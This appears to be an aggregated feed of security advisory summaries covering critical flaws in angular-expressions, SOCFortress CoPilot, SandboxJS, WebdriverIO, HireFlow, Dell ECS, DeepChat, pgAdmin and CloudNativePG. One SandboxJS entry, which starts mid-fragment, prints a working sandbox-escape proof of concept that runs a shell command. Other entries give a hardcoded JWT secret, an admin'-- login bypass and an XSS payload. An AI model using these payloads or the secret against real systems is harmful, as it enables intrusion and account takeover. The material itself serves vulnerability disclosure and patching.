Remote code execution in angular-expressions versions ≤1.5.1 allows unauthenticated network attackers to escape the expression sandbox via malicious filter payloads and execute arbitrary system commands with no user interaction required. CVSS 9.3 (Critical) with confirmed public exploit code available. Vendor-released patch in version 1.5.2 addresses the sandbox escape. Affects applications using angular-expressions as a standalone module for evaluating user-supplied Angular.JS expressions.
Authentication bypass in SOCFortress CoPilot versions prior to 0.1.57 allows remote unauthenticated attackers to forge admin-scoped JWT tokens and gain full control of the security operations platform. The application ships with a publicly known JWT signing secret hardcoded as a fallback value (bL4unrkoxtFs1MT6A7Ns2yMLkduyuqrkTxDV9CjlbNc=) in backend/app/auth/utils.py and .env.example. Any deployment using the default Docker Compose setup or where JWT_SECRET is not explicitly set signs all authentication tokens with this known value, enabling attackers to impersonate administrators and control every integrated security tool without credentials. CVSS 10.0 with network vector and no authentication required. Fix confirmed in version 0.1.57 via GitHub commit 4640511a0cf2e7b144a71375b5b349a8318cb186.
{ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The leaked callback accepts a **params** object from the attacker and uses its fields without any authentication checks. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` _Sandbox escape leads to RCE_
Command injection in @wdio/browserstack-service allows arbitrary code execution when malicious git branch names are processed during test orchestration. Attackers can craft repository branch names containing shell metacharacters that execute when the BrowserStack service's getGitMetadataForAISelection() function unsafely passes branch names to Node.js execSync() calls. Exploitation requires configuring WebdriverIO to point at an attacker-controlled repository or cloning into a directory where tests run, making this primarily a supply chain and CI/CD pipeline risk. Publicly available exploit code exists with working proof-of-concept demonstrating file creation via injected commands. Vendor-released patch available in version 9.24.0 per GitHub advisory GHSA-5c46-x3qw-q7j7. CVSS 9.8 (Critical) reflects maximum impact, but real-world exploitation requires either social engineering developers to use malicious repos or compromising upstream dependencies - exploitation probability depends heavily on organizational code review and repository vetting practices.
SQL injection in HireFlow v1.2 enables unauthenticated attackers to bypass authentication and exfiltrate the entire database via /login and /search endpoints. Direct string concatenation without parameterization allows both authentication bypass using comment injection (admin'--) and UNION-based data extraction. Public proof-of-concept exists (SSVC: POC, automatable, total technical impact), though EPSS exploitation probability remains low (0.10%, 28th percentile), suggesting limited observed exploitation attempts. CISA SSVC framework classifies this as automatable with total technical impact, warranting immediate patching despite relatively low EPSS score.
Hard-coded credentials in Dell ECS 3.8.1.0-3.8.1.7 and ObjectScale <4.3.0.0 allow unauthenticated filesystem access. Despite CVSS 9.8 (network vector), the description explicitly states 'local access' is required, creating a critical discrepancy between scoring and actual attack surface. Attackers with local system access can leverage embedded credentials to gain unauthorized filesystem access. No active exploitation (CISA KEV) or public exploit confirmed at time of analysis. Dell advisory DSA-2026-047 addresses the vulnerability.
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target="_blank" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.
Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users' private database servers, credentials, and background processes by guessing object IDs. Attackers can execute arbitrary shell commands as the server owner by modifying the passexec_cmd field through unprotected API endpoints. The vulnerability combines horizontal privilege escalation (accessing peer users' objects), vertical escalation (executing commands as owner), and credential theft (SSL keys, passfiles). No public exploit code identified at time of analysis, but exploitation requires only low-privilege authentication with no user interaction (CVSS PR:L/UI:N). EPSS data not provided; CISA KEV status not confirmed.
Privilege escalation and OS command execution in CloudNativePG (CNPG) versions prior to 1.28.3 and 1.29.1 allow low-privileged PostgreSQL roles to gain superuser access and execute arbitrary commands inside the primary database pod. The metrics exporter connects as the postgres superuser and only demotes via SET ROLE, leaving session_user as superuser; an attacker who owns a database (including the default `app` role) can shadow unqualified identifiers like `current_database()` referenced in the stock `default-monitoring.yaml`, triggering the chain on the next scrape (≤30s). No public exploit identified at time of analysis, but the vulnerability is highly impactful (CVSS 9.4) and affects default deployments without custom metrics.
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., javascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.